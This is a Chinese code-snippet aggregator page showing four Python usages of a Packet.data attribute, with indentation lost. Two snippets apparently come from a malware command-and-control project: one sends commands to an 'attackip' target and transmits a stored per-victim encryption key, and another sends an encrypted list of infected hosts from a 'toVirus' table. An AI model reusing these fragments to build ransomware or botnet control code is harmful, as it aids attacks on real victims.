本文整理汇总了Python中packet.Packet.data方法的典型用法代码示例。如果您正苦于以下问题:Python Packet.data方法的具体用法?Python Packet.data怎么用?Python Packet.data使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类packet.Packet
的用法示例。
在下文中一共展示了Packet.data方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: run
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import data [as 别名]
def run(self):
while 1:
msg = self.connection.recv(1024)
data = bytearray(msg)
pck = Packet()
pck.data = data
self.onpacketdata(pck.getPacketID(), data)
示例2: sendAESKey
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import data [as 别名]
def sendAESKey(self):
pkt = Packet()
pkt.state = '100'
pkt.toIP = ''
pkt.returnIP = 'MRS'
pkt.data = self.key
pkt.RSAEncryptData(self.RSAPublicKey)
pkt.length = len(pkt.data)
self.messageQ.put(pkt)
示例3: send
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import data [as 别名]
def send(client):
cmd = raw_input("Enter command: ")
pkt = Packet()
pkt.toIP = attackip
pkt.state = cmd
if pkt.state == "147":
base = "C:\Users\Matt\Desktop\\testfolder"
path = base + "\\" + pkt.toIP + "-encryptionkey"
try:
f = open(path,"rb")
pkt.data = f.read()
pkt.length = len(pkt.data)
except:
print "no encryption key found"
pkt.send(client)
示例4: sendIPList
# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import data [as 别名]
def sendIPList(self,address=""):
state = "100"
ips = self.toVirus.keys()
data = ""
for ip in ips:
data += ip + ":" + self.toVirus[ip][2]
length = len(data)
pkt = Packet()
pkt.state = state
pkt.length = str(length)
pkt.data = data
pkt.encryptData(self.AESKey)
print "IPList: " + data
if address != "":
pkt.returnIP = address[0]
self.enqueueToClient(pkt)
else:
for ip in self.toClient.keys():
self.enqueueToClient(pkt,ip)